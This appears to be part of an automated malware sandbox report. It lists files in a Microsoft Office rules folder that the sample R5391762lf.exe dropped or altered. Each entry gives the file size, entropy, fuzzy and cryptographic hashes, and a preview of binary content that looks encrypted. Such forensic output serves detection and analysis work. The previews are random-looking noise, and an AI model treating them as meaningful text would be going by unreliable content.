Preview:	<?xml.....xN.7..G./-.Z.....1HA...R@#.J.. W....I.....M..wei.1K.'...L+....9@.-....fC....l5...3...^_....+..Z...7s.dj...j@\|.<..:.....g..6..k..............Zd..j.n...28d..M?.0..f... ..h..M.\.Z..I....'..9Zj..Z.9.1(.m...~....1H.u..LY;.....a9.\|...'.\|.....@.o....-f....,.$3`b.....[...^5........d&...;.Y3i$....x...'9.TA.ZV..3mc..S....4.N...#$d~.?"c.....g...f...Kq..X2......o.o_0..4d'...,.........z..Kb....]\|>.......om 5..oU.!.C.J..v..)....Qk.F.vkb....2G..C8..J...>-...r.!Q..wy..\|.%e..Q..#,\|.dz.#..y.A..3>..^).N...M..7....71c.q ...t....4W.S..z.uAE...q...=....A`.u....\|..../.vl...QBQ...">(?.z..@...4...&..0\|.XJ>...y..\|.......R\|..T)..$.....D...M...Xs...L.>.9...t."......8...0.,..Q. .R.....7..$K...!.tL..'~.C>....+."...2.iQ*.bP...E.W..~.5"...V.p...9g.U...l.VZ...Z.x.My....XR}f.mC.Cm.".,q.).do.a..29.x.=...e.......W.\.D.v......d@.w.s....).q........Ih.....'...y...r....5M.@]f.v.$...\P.o.V..HD.91.Z]......h.3d..:...M.\u}.i;..m.....1.cv..+j4wjW.Z.z...E..rD...q..b.f..

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700851v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.895784251451064
Encrypted:	false
SSDEEP:	48:idxkrk8rX08ThKLAqzrJ3JK0OxO2BGKMhbrWiK31XFuED:idOrPrLMLAGt3c0OxO2nMhbyTtFuQ
MD5:	17B17A38CB39A07085F88183F59613A0
SHA1:	2405C9B30B296105B5110D00EC078BE7C9971E40
SHA-256:	58320A5BED9FD0EE2661902661DB564D5498E05E34D72C899241F7D97932703B
SHA-512:	0A1044D7BB47DF4112D3BF416A3A054377F590B80B088D2403630832B53F2E48EED9259EAF53DEAF01E5C4A665C32FC00AA57DB440A9A7F1F86CA778B634B0EA
Malicious:	false
Preview:	<?xml40.9....~...}Rp..R.....}..;....u.[J\|:.L.."..W..$.{.~t..$.j....1..p.+K!6.....<Z\|...h....f...w.O0...Rr.... ..Wi._....F...d..,...Z.)W...,...r-\...).D\|..xlvNJij..9......5$......s.j#y....M"...g}a..f.}....#.q<.,>. ..p.\|t8.... >?..8.%p=....5.A.....B.d.3X...#[[n....>sv..K_<@..E&W.f.........x.i.c,.v..'./W.E...$Y....:O.:-> L.].i...x..l..V..34.hL}.5.L..C...0.e.a..2.a..7N2.r.O\|.=.o.v.....`.hn.3...}....8$...%...,v.^.vV.1m.Ks.5.K....{...alD..,...,....NSG...)..u.G.=..FS.'8.%e.d...l..u2..._..y...}..{...l.2.#.u.@.)ua....V...H....[b..N...1.g..e..vz./.k......tu.....ll..BM....-...I.e..k-.....O.=T..@e..m.!...Z.n'.=.....Y....fkw..xsf...:...G.....?}.D.......]n.%..`.s.L....m.y..&(..q.s.!At..K.Xu.Vb...u..;?.4../...e..t.......7.QbKA.Cc...7...........Pw7O.s..z......E...O. TT..G.c....T..o.Zw.E..s...;or....E0....l/u....G0..O...\.i4.M.6.@>.g..,...yM8..x....P.g..3.0+....Uw....1.=..m!~.....~.j!.q.{..Db5...(?...U...%OJ.....Dy.{....zi....^........r,...@.5t=..0...I....

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700900v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	7.881470384275038
Encrypted:	false
SSDEEP:	48:UkeQAJFHVsKemKJCvurP3OpKIVz2jQ1TI9vwewFXFuED:90JF1sKOJCvurPOhBFuQ
MD5:	721C252CFC0AFA86BAFA634AA38F7309
SHA1:	9D808FA3F803BC9BBE3ABCA6F117AB00BED08FEB
SHA-256:	1AF0DE882054115DD33EAEA36475B97ADF57F9115A821F10275985173BC1BFF9
SHA-512:	33FE3D2497BE4EE65A225479D6F79186372E415E353BCC1E419C52416CC7884B72887652BBD211FA58F72373E2428DD61DB32D4F1F75C36563E08AC7DC3F292D
Malicious:	false
Preview:	<?xml..0..%..9Hn9.l..x.B.u...9.j.t....,..X..&...D...D.0........\..A..DO.......2...._..cVh.eB..........@-.k..........]}...n...p...?e.T>..l...Q.B..o..IUV.".<.'W..\;.....h"H.Z.n....?......:`...3..R..RP..........q.<.Pj>.P..T.x8..7O.R.l.Q..}.dw...A+.`0j./....+..Hh.Z..o.7.n...?Eqf..<...,.}D......."7.....$..l.?..D.........g..W=.Z.Q.G.2..I.c4.tr.....?.p..7."...]...pN4..]y<L.U.$G.q...@..x.D.....u..C:.J3P.....hB....+.H.......0..l..}...q.k9.s.O....=.;......$K8..2a\|....pzl.B=...#....v.D7.'\Z..F..0....Q..H....7#..w..:.@......b....W..E..B..QA.N.!.l..FG..p"&..s.}...Ux.T\....TF.A..F!\|W.\.....&..{..T..m..x`..KM....y^.Q.c.9.20B.Y...M....v....D.c..S...\|A.$_.&.......%..S8oJ...5.,..%..Z6C...4..R...r..w.#..U...e.}.T.....b....9...YI.W...vO>...]...R..-e..C.PX_.enwFh(..WC..lK.s.....OK.8.J.......p..g......2.$.-nS^.E]J...j.._.&M.f9?..v.(....)B.d..<h5x....=..".?T...s.F0H......Z......S8.u.9....n..-......oEZ.~If....q..&.Y........+.E.:.-l....r.Wb....3..!.8Z

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700901v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	7.8771910958055775
Encrypted:	false
SSDEEP:	48:GxEm5kJ1VAjkNTu5FsSpvNztsWklmPdwz2nUfXFuED:YBiJ9NTQqSXztstcP+LfFuQ
MD5:	F2A5510EE5B3879ADEFB5D561F2F6FE5
SHA1:	214232AA4DD60BD1DBF4F97D70D06699D14AD3B3
SHA-256:	DF02167410A013DF3BA202E9BAF3F7E8C9C9ED779370E53B917F048F38B9B6AF
SHA-512:	221E67CF2ACEE63B5BCC471DFBDF7D0AFBB6F09E7874BC2756EB6C03841F505BD7A7347B7CC7D3E7474D9CC0560E5F683605FB8B5CEFABB12BF871F8EDC01B7F
Malicious:	false
Preview:	<?xml`.........U..#D..h./.)...0...K..G..Y.A...'...\|l.....3K..E....shY....gM...+YL...J....c`.......b>%....S.g...A.nG...gz;.......E...05..g.D.0......w....j'.....}-A..........._-..zJ.tq7..sS....9...E.rIb~.2k.f7......y...~..LJ..].=.....b!5...d.Y..]`..Q...0.Y.`...R...e..>.lM...V.`..{e,>.F.....k......7.\.+.3.>k..j.^3..Gvt......S...tI..9.@@..lt..U...[..%.gT.....P......-...O.z......s .htl.Lp.vE.F.&.... ..b...._uXpR...I...bP'...8R.L...7...\|.+..N..Z.D.`<..(.D.C!{.p........?.t..'...n.j.^(Q.g.uV..q..'.{_.^7'..zY...r.{...J.....7o..!.2..3..SM.a...f.....d.....V.}...G...$......P.Jev.f.....R4.f..@C......JMy,...=....~N @j..6.\|..(.VM.'&~..7n.......!.f..)9_.AY..DR+.....a.j.."..A.."3\|%3gm...AC.H....Z-.....C..l.(.xU...c..M\|...-..\....G.]3......P.@......@.'....-z..s...H.yA49?y..}.nA-.\|...(i.3S.....t..1.+..y..;...Dn...]..Y..^.}........U8c5.k.L.<.bs2.>..Ir5h_.. 7.)..5......ze....=...p.:57{q.H..........J..z7...l3..;.t..?d...LD......B....S...34.G..A:C..%.v...!

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700950v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.88848823709473
Encrypted:	false
SSDEEP:	48:GANhBIFFK6R6qnS2oEbf19nvhDTnOvnvh3d9fhF3TWVUow+jxKXFuED:vBIFsXqSgZ9vhDrmnpNxD3T2h/VAFuQ
MD5:	085076D4AE1CAC49AF8EBEE1733671D8
SHA1:	E506415DC5A5D99DA371D7A1195A689186E5A107
SHA-256:	484325726F4544780EC6E81C96D0F902DA445F82BB7B45D1878D8C11A6FC7D24
SHA-512:	CB3EDD1D7DC174163A109817B67B6DB0A5443507950AC9F4769808AD3B5921B5F9CA7D53AC1EBFFF5F7D2D883B3D0D3A0FD8B41E91A2F22A3E89A8E0841E384F
Malicious:	false
Preview:	<?xml%...}.Y...s.....R.TU.M3,..n...T8h.A...l.\.&<...@..0c.s["..I.p70P..b......)b......lZ...77Sv\.}nd2]a.d....v...}...FN9..#Ur........2B...@6..H}8.........i3.....u..o._.5..M...\.+>...@.....0..._...Bk.VhZt.-...bb.v.-.P.....Sz....3.P..>8.l4........m....X..yvQ..l'-b.o.5.....T.SE.f....OO..D...M...7........e...+k.(Sm.y...#....ceH..Z..b.........N....?.'...k..............VwG.T.3gPd./...K...9S...'.c.wv...u.WIk........rp.1s..$D+...h..B.a....$..>.j..>..k.u;...x..Z1..3l.#......k..h...b.n.c...../....`XY..L...:m..f.`P.....g...`.%.u.W....h......6.V...* g.2._....>.FT..w...3.....C$K...."...)..e)...T...(.<.f.X.../..v{...c.m...R[V......l....d........U..sZ.QOEEN..GQ.~.a...t.3.)F.#.M..Qe. .."U.:I.C+.y.....Z..w...S......fR#..L9c.%G......Le}...N.$.H...ZY.....n h9.....C.."...wA.4.........1.......;1....A.......@.9.=.Z.%<.1..8..o.7....Y.X..1. pW....e...+w*..........X..\2L..........v.e....J`&....3..N...7y.{.bJ.m...,...a....P.<G.K..T.#S0.4(.....Mi.z.......H.m.....9.l

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700951v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.885070423987182
Encrypted:	false
SSDEEP:	48:uMl2Pj/pBCk8tIP97BQgar7OLQyh70awp8uXFuED:uMcrhYntIl7Bfar7y1hVWFuQ
MD5:	5A04D029437EC852AF96F67C247FA481
SHA1:	EE4292C10F6D8EBC3BA38EF0EBCB27B7B1508DC3
SHA-256:	2C76A64ED828D0476E8A6EB81B1A38378D8788042827F0118396730775D7D9A6
SHA-512:	96B528AE49E31EE558F593A0202C06BEA8B16913D45E671FFF58EBD8AF07F26B759900038BCC705333E98EBDD4FF9D85984FC9A718D5D8342690595621B42CC7
Malicious:	false
Preview:	<?xml\...~gu....r+4..H...h..YU.O5.LY^..mu..}e.....au....I.R....K.^..S.@PI"........r..a..d..].7.w..U...8y...kD:2.......?.d..k..V.~U........_8...)Zy...E.....U.x.'.ta...7Q.b>...X....A)..IM..F?."..3q..h/.l1.@.1..HT".X4.p........j......g..T.z..V..$..;..]'J\|{...P......l..4,....%.<...12.Y~o..\|..]b....R...n.`....\d.{.et.}.]...=Roc}....[kQj.Z.e....]...-.I.$EdJ...V.....4r.Rl...B6TP+.(}..S..1.gC.....k}.i.9B.....tm+....f..;...G....y.T(..er...CP.u...2.X.O@.S..W.....V...>......l..3+. ^KGB.F.o?...........#..s....T.9...^\~.pq;.J...QL..?.(.1V..H.\|>H....F.f@...L..Z..eK..%t..m...>....{......P.....f.0.ll.6.F..=..Fa.N7.....F.6srO..!.$.._..H..l.._..R7."./..'..8\.\|}BWj..:;.!rH2.....D>.i.t1,.}......O.P.Cd..NN.......(....<...\|N.vZ1...?!E.z.>[........9....E..y....B<d..Ye...h....^>t.s.....T.<.....,y.$.t././...Z....r......}..Hu.,..T.i....r.Hs.v.\|.:>......'.M"..a.;yD..\|.R!OP.W.v...4CZ.....h....k...N.z57..l6.....5u.....Zt#n]OE.%u...O.$.f..<..>/.R.b..m....IB...w..T.^.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701050v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.896659469596723
Encrypted:	false
SSDEEP:	48:gyKHWG3VwG4SmSbLOqaJlfHaJSs/XgQVXFuED:pQmSCqawSsfPNFuQ
MD5:	DE0DA48F826B74CD5D9D7E554DAB059A
SHA1:	B1B6DD11D52DF3EFAA2DA57ECA9CC67218CCA252
SHA-256:	8A0009A67A8998259DB3EE65598DACB37A7CA504013DCE9F6DE0D29129290288
SHA-512:	ED6773394F1D36F6F8676ECD13086C59DB7C54FFBD542C089004926E21FFAF8CED3AF9806988E86CF3F57670930023144FE3EC733CDAB83578F8846E19D2EF58
Malicious:	false
Preview:	<?xml].....<.R.O...W-...,u....e[QG.K(...b.._.....Z...a....@.._......w..S.`.$Z..:..0..d.G[a.x..q..IWfm..C.gh...=.I..L.Z....s....\|...1..!.z/..z.....s.V..s..B....Hk.`..Vt?..5.F....B`........,M.M.a...c........&5..9.@.qJ8.d..........Hi.v....We...^.....8...O.:..+`i...Q..". .V6z..j.p[..<.J.9<....Z..1. $Q......)~&.. .Y.u8......~URq.....>:..p.T.$x.L.n.ap.........iDU..kD.S.8...<.t....=`.los...P.I.....%..\|.'.!.X...8....x.huc../v4..'.".eC><.m........y.,g.....0..R.j....>....]=...ce.-..,.O..&....?Sm..te{...N..Qi!_....^`g.of#Rqd....\|...+...v..f.L+.1..E,w..pU..K.!...,. P.......H..8...\...?M.Y..../rDb...].].b'.....~.?...?....$..\|F.vt0....2.....>..nG.%Q.....F.T\+.b..Yr..P...,...._4....3'.2..".....m'.....%....'..._.$#Xa0'.s..Fj.......q..-j....!+..B@....7..U..O.j.Y...#..Ci...?..+`U..k....5....U!]..A.....kT.D..N....y.V.p.@..j.b.r.....@./Q.c.K).....g'.....\|..d..m.....9z.g.....;=.).O)..B.\..{K....0...2ty..5F.8..2GA.Eu>.c@.O...&...........4........2..0.a.[.s!`.v.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701051v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.87287253873064
Encrypted:	false
SSDEEP:	48:wf55dA0t1Im8VSEdHCIHvfrr6wLB0TcA74PkAXFuED:wfTu0tGNi2rr6wLUhVWFuQ
MD5:	F99077A8629BCC134ADF841E306D3879
SHA1:	296EBC4C57364C07C16B8F9C0CA6C8AA756CA395
SHA-256:	BBF3FA0664EC18B9CA5677E9D731F64AD664F89F045595B34C78BC49D7563181
SHA-512:	5EB89B643410D07F67D1F3277EC77972968D5ABE2C2574D3F1C3FA9E4586A5F7F8775EC725C0C75B87AC7093EA2B8199E07F116C7A681DA21E91A9B3F277D307
Malicious:	false
Preview:	<?xml..{....{....... 5.j.GW.ym.....6..;c.....+..nl\|.L$.xT.....N\|.......,..\.i..A+..ke..8..$.l..l..&...C..+.X...aN....3...yy.....+..T:..iq..;.,.P.wGf....!}J.6\).H..S0.GK..MBP."..R.w.@.M.......5O....~W.. ...a..kx........U....6$%.L..zwW.<.(V.:.(6gLu./.8_4/..T.l..P.tJk..Mp.Z4G.....h.P...@KD..5kp....y.p.....!... ......./.~.J.Vss....s8e&.......L....Rc...0,.g.%0.8G/.....A.s........U.r.;.../.l..5w.h.C...C....\+.v..kj........z./..-3.%....T3@......F...H...tA5..v@.p.yT."Me.J..."...Q.j.pO...5.6.cO0b....o...q_.....I...A....tF.U....PD...@r...+..YQ.*.M.!.j..x..qI..C...Oy.0}s...0...>.(.. ...8p.#..O$@u..F...gO.Dz.1.s.LC.=.t.j.V...:..m...A........p7..-...,kNV....FH$>..b.K...2........f.....X........p.. 3H...._..[.$....y`..iW..\{.........L.p..7.dK.@V!..-......8.h..........nzw\..@.!.i.;.._.\|.S.4G!....f.I.....H.)..PW..".v3..;.yk&....h.M..d..E....,.a!...X...k.>Y...d.....OP...k..K.iol........s.......Y2. ..!......]...5d.@..i6.<m...(..d......C.L>..t6.7.S..

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701100v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.890058894039315
Encrypted:	false
SSDEEP:	24:jzBsHAJvkUsGBNfdBPOTiU3KFQP+oCnDDFimhT33Y4WfXY6SGH/mXq8uWbD:jFsghTBiGxoCNiml33YlxBfmXFuED
MD5:	39ED5FC963C28984DE1039AB937338BA
SHA1:	362EF7CEF917D182324FB38DF3E1D7E105F17D21
SHA-256:	2113A054B46DF5CE30D45F270DA69F7AA4943DFB52867EAA8F38C9145C535E6F
SHA-512:	9BE38E3DFA86CCFBCDD00AE6E55FFED805227DE2EC919786652CA90507C37D3F0D1266B546A11E97B8A2E1A1EB752B92BF2E78E7CD95CF3985B8CA5CCBA7C5B0
Malicious:	false
Preview:	<?xml.j.[8...Y...G?.x9..G..i].;.u...m.[...W..!.B.[.2......NR......W0.m........s...6V...}.<......'...........e...G..on.......D...J.Fc....m&D......0.Aq....s...P~...U..c....g1.u.:.j.+.........X.`...i......p..>4I..[:....T.~X..j.C3".....u:.e.ig.RuV.t.xr6\..Wg..[.i\....}."..p....=2+.g....i-....5......T.ClD..C2.}.2.....K Ao.....u.+....O5$.+....<.9.....,)..t.o.....L....~K......(y.........Q....T.......U\|.7..(......\|i...k.d._.57..;...]...;g.!..T...=........K.......#.X....N..... .y.m.d%bW....3N..pO.\..j/..N..5$.b.jC.....n!,....`.h]..\[.I....wH.t~{...8......{..]S.VxG...k.r...{G kB..6.......,Q.L.9...b..-j.7.$+....t..*...M.u.z.z....@P.0..x...f.^......8..@q.B f.cz.r&r@OG.E..b..3I.......t.7-`.E..Z...Oi.BQ....9;....I..8....Vi.L].T...R7.aV.%.~..k.dA....,j.....'ei... .y6.Ej..$./R..E.!.Z.v..$8....M...M&..e.3..........!Z..X\|......:.n.w..K%.)..t-W<J..{].o.p.....#zHw...v.....T..t..z.Cs....T .].R......2.....4.q...C.....{.!b=.....pJ..5.....\Nn.K.....kBs

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701101v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1744
Entropy (8bit):	7.889609755115167
Encrypted:	false
SSDEEP:	48:/cv/OSmzsVn7CevL8hfSOuQXX0uBjq3RoLzyuXFuED:/cv/OPsVnJvQl9H0Sjq3RMzxFuQ
MD5:	31262F524FF575A881806BA500394130
SHA1:	D0EF377AA859B654EED275971D6E9F93D6F9D610
SHA-256:	9BE6CFBBC3A15F833CA749D881F3CC3DCE413D49C5F05385C706CA62AF6CD871
SHA-512:	3DC4BB3D9599ADC63A5C42DEFDAFD4947C8EDA1C28B0DE4F8466060E99221F587E71B346924089A940ED7B3E8BAE236293723BD952A4CB4890216D5CF740E484
Malicious:	false
Preview:	<?xml..$r...v..}...........=..;.z.r.{8....~Ls.K=.Q(._..t..B4W.:YFor.._...R..i.IX...>.rkS.Eu\|i......Q.G/~q&.y.d.I#}.....8.a.}6..YC3.X+#!.].e..'z..f..G....j.S@..p....-g........p.}.._-.{}...S..s.....D...._.^..(B`...0...].......{.r......~....A.H..........v...Km..<....K^..5....Z..-...+..tQS..{..E......%.g. Y.I..Fga..W...O.w_....O...3......\.@....o.m.,}..B....V6..>!...6vJq.#.)H1.$`..@...........i..).....].r.@..y..'.^...8'...q.....8...[......P}WO.b...D.:...n..2-.<.!y.pn&..`..(A.GtR.P}...-.#...1E...~.Pi.a<..[>M.X...B..a...^...{9_1R.j.<.p.z.e.....iwU..qQ.Ss[6.5..........'%~.H.b..x...E.{."b<eW..,...YO.,.K..53B...U#R...1e9.\|.6...hT]eb.'..f7.._..a.@.\U......wv7@....r......M..p....q..p..l....5}.\..BfXhSA.)8T.B....u......{.6y8....[.6j.....0%.....\.../.T.Y>.._ ky.;.)p~..9N.q......ibs...7.ma.{...\.+.q.Y..%...>MF..K..M...d.._..@.....tj....#GzZ......f4F.....Gy.j.s..f.U5g...w" Eo..S.P.+........N.du~..Z..dq.QUW.5..a..WS.m.....#[..`.>...[.c.......3...E.e>

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701150v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.900126800499931
Encrypted:	false
SSDEEP:	48:8HQLPJJDEhFcYlegNydV/FtQvVUyukPy2XmdXFuED:8eH7Yleg8n+VHDykmlFuQ
MD5:	407AB264A62A5A297517AEB861EC0AAF
SHA1:	FE2375DAC31118A91CA17193348CF703AC7D5AAA
SHA-256:	817AD08281DF94925315692C54E7147345B15C677C2CD0ABB5DC93003E39E709
SHA-512:	359BE27F8427C1A4BDAC827E1A4389E5FA6BC75F64FC5FDFF2E584C14BA7F8B25EC4A05C63B2BD8D35528DF04834AAE2261092360B795B48925A993395E3D9E1
Malicious:	false
Preview:	<?xml.NQ.Bb...V^p..zJEj..\|..a}d.2..8..!Pu.h..,..m..^..J.SE.JcN..Ui.w]L.\....8..!........?..#.Q..f.5...UWc.....,u..E.l.wj_.....$.6...w$....t.[....-U.!.N.O.."_....B.[.yd..Y.T.J.7.4. R.a.w.Xj..Z..C...Tx.zC.....ZR.)...1.....H.L......k5..b8-.6..dR,]!..2....p.n.<....M..r.&.gTc.h.@."..\....h(......Q.......AN.2Zd......+g.b..\...ZL....5...... .@.$4...,4.A.,.h.][x.i....T.........2.:.w...Q...?......&+..s5.b(..;..:Y.H..'..)..?..f.j..bFC...=i...G....hC.z..b.l........D.......L..]i......_.}TB=.....(.......g.^...`.7:..B..p7.r]...i..~....l1v r...........].../8........[.....;!?. b}+c.1.Vt....]`\V..k .....q.0...m.....li<n[R.}.6O ..^T3Zt...3.....}-.,r........E....P..=L.+..=..1..D..\.s..\|eT..y...hC\Ff...t.^..z'`..1NN...K!../^R..-..XX.........`.~..PH3..4j9...&2L=e.QN...=.T^./5 ..Z_Gp'..o../6...C.'..$z.u.....9...>_l....w...B..6.......C......W8....(:..;..}.B....I.Vs_..$..TT...i..\.b58.\..K...fg'.....V.0...T>.u..r..h..-..AFw5.*..T....@Z~.[qPi.....z.....2..@...% ..

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701151v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.867904746162515
Encrypted:	false
SSDEEP:	48:mfA9zeeZ07qv1nxr+TJPipSjQWGLDBgPuXFuED:mfA9zezq1Z+TbBG/BgPMFuQ
MD5:	CACDC877E4F833D2EB3BAF7169AA806C
SHA1:	3263A3CABFA7A5AC2EFEE172D1C2B0DE6553170D
SHA-256:	E33BD97B32FC2F9027B6F3BD8D3B93EA6D938E9B0AA60C7E964D4AA47DD8FFC6
SHA-512:	4D580AAF4D22798620A1B2AACBEA146485879E49E2AE664333D73CAE2ADCA14F47567B08E02A22E7CDADA779C14013D701872122CFA2A127CF4A822AD710CFFB
Malicious:	false
Preview:	<?xml..N....7...wb.oS...f.!7.....s..e..&.....-R9...5..J.\|......Q(.0I{.W.z.df.~.g...D.''..n.1.5..4Gq.:O._W../...r.)&f:..w..Rh.y..$b.w.S7....X!i;^1.p{u).!..RJ.m!.-vz'.....$.<:y.u..#zZ/&.A....Q...wB..k.X........X...l..p..X}....a>.d..5....\.N.=.at11.:..B..1......J..F.7G../......6....r..1..GE.6..].gu..Z.4.......J.5...0u.j3s..6..?..S:.....x[.1...m?..Q.Js..]...-..q\.R..3.6.'z....IC.....=w.?.k..yH.D...Fk..mm9..o=2)..<.]..\|.?...Y...6O.m.7G)...9....J.S?..:.8.....`D...;a..D.2.h.w).]....3q.d`X..2..1k..X..6xK.9b.....0..Uf..i.:n'............11.w...*m.......O...~...+_.......9....e+<O'd..!x....G.Vg...~.......1c=...Di].Y...^.......X..~J...\$.}e..h....,Nk .....^.......'d.."4x..Z.L..:...T$;!S...>\.U.u.Z.......e^...@..M.r]..N...~........q...ID~SI^Bq......EuH.r. (....6....Y..&........d..?......oz/...5....>...9._IH...[..w...)...;$4...)Q@.).4.C.L..TQ.>....=.B4...C.~...%._E+....3#..S.3S?S._D..C..d.2..U.4.....1.W.~X.."X...+..H.K."u....9..Na<...v&.9.L..F<..Q...

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701200v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.865652211462401
Encrypted:	false
SSDEEP:	48:Am7gcMQZIYgdP8eqMeEFZMJLRtb/HBHCMjzBzXFuED:AmhhZIYgdP8ceEDMRRtbHxhjJFuQ
MD5:	8B327E96ED03F73A1970098C6987E0A0
SHA1:	36CDB02A833FFC611D69E69CF602ACAB9DA8DBC4
SHA-256:	5707533CFE96EE3CFAF7E8EBCD04E91746B5645B246E61970F450DC04798B393
SHA-512:	F3CC3E4E5CFB0728618F85E5554A1A60B92989584F678FA0E5A12421F77B3A03B95DD06CC245542D65A607EB8F4E47BAC2EEEB5A341D43D93710C40735E5D328
Malicious:	false
Preview:	<?xml@@N.F....].9....u.T.t.t.`.?..X.-...7...l....w"..,.....E.........+.O....q..=..Gp\|e.ap....}.8W?Q.~S....Hw...{.p...^yT...g.].......>..i<..h....]hU......,..T.za ..W.!B/.K...%L.!:..,.x......2...?..v.g.n..pt.'..sL...9L...O.D..`.F-{.N(../.9.$l.2_M=..(.{.. !.y>.L..g.......N..4.E..#.g.#......$....'..y.@..u..B7^O..v..+..;.&...HO....0.......r..#..G'uE]..g<?..o.b.>V1....d0[..Eg...#..k.....PH.#\..i.....s.I....._T.3......9qL;l2.b...4g.....u...w #.....-u..oT....~.q.................L..3.u..B:.J....8e{..7.J,lp.hH..Z}6.....]...5..M'fG.....f.....\|hg...zS.........\|..._cK.../.F.1D.g.....OD06. ..?[(.P.A...x....J..75.vlS).rL..y.y{..mM `.."...K..y.%\|bJ.^R..F,..?.Nz..>".<;.x?s.......[.D.o1..v...........S..3.).?#4.0.U-..N.&;..X.XV. ..f~Z./.......G.X...}.....X.T.......4{y.L. ...W...I..;v..F@A....8L.ns.....:.]......SppF..3.f.f.qT..+.u.5/..&w.40.P'TP.Bn.ch...?L;w..<......^s.._..W...D.......2.K.....C....L........p........0i..KZ..%E..2f.xi.CQ..n8...7.8.....&.5e.7.+._.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701201v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.871317943106671
Encrypted:	false
SSDEEP:	48:i4ec37EKUpnTyrEJwuhNHNayHiNNJRx+xvhKiXFuED:iPc3BUJTDJLwGiN9xIFuQ
MD5:	6FFB0C52EE1ABB41ACC12C8EED0472C9
SHA1:	C5738726A2AA3A9233A90DA77CC95DB4DF97E318
SHA-256:	46A94DF34001B81BDAD74CD6CB1CF7532A8380924627E59329803EBF2AB38C26
SHA-512:	E6DB995885E0EF4F42562C9648AA4AA2270382CB4E89003074ED29B186E007BCA3F8E6D4635DBDD4897F981F59B1F6857C6F32B5C24A1289F3031DE1634364BC
Malicious:	false
Preview:	<?xml....~'.-.P..N..X0..........W..P.,[g....Z..Z.f.d......Ab..^x.-.!..v.N...)........xv{s.^.f"..=7U...h!..u.}.......Y.q...O..@d8-.N}.T0.......'...~..O.7.....&.Z.....o.P.b.j.I.%..&.F.&.gV.....a.....]..].I.......0..K`..V%:p^..^.1..d.u.<..u.o...HPbY....@...F..k..cgD....&@`\|.P..Q...cRO^.a...0..[.jf.A...zT...S.....r1.yS.A...........^KM....S.&.x\..$....$o.t..W..?..VB..O..x..Y3X/.b.V'wZ.~...<...[3X.r....m<Z.w}w...m....a8$..[-..#....B.l.Gh..!.7.(...='.=.b..jv..o5i.-70o.l.........e..k.^nU.ee.F]..-..H2.0ZxH..w..^....?..?.<."...F....k.b.,{.....)....E.Y.uF.Df.`...q........j.`....... .Bl..n......2..........[3`*....S...z.yVn.J.I..s<%.q.R...vwo...z?..)vl.T.d..JM{..tj5.Vii..o..w(..E..[.0x...cn......g..).!.>.\z....V..(. ...9...n..=./.X;.........K......B.(........R.....&...u.xs.....3..z.g.......ko...s../...aS..10T.9.x)R+.#D...7..l7ro..@....<.g...J4.~v.)aq.....U.:.[..`...z........p..V........X.....'..i.h.`......4V.tq}p\|\.y>.p).t6^.).t..{....B].....J...=.Hoe.I.....CH

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701250v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.880495342283357
Encrypted:	false
SSDEEP:	48:INP01hbGDl4ABUCU8S7xhwo4HK7k7OUM2rWKXFuED:f1NGuABUnjlcxy2PFuQ
MD5:	4837658CEBF692511595BD51AA7DB66C
SHA1:	6783990F2A0B7863781E93862897B2DA8FB5FA7D
SHA-256:	D23170D55E2E5DD2AB7186B9C9914A97BEF75BD7707B4DF119ECBD22C80B8D2B
SHA-512:	EDB2247053A07D75594D69C00429209B4F57AC22EA6206E45B62FEE578CCF6DABD81344565FAC419CA26E5EC88C8B332666E0B2459B375626C9F64228A2C4EBF
Malicious:	false
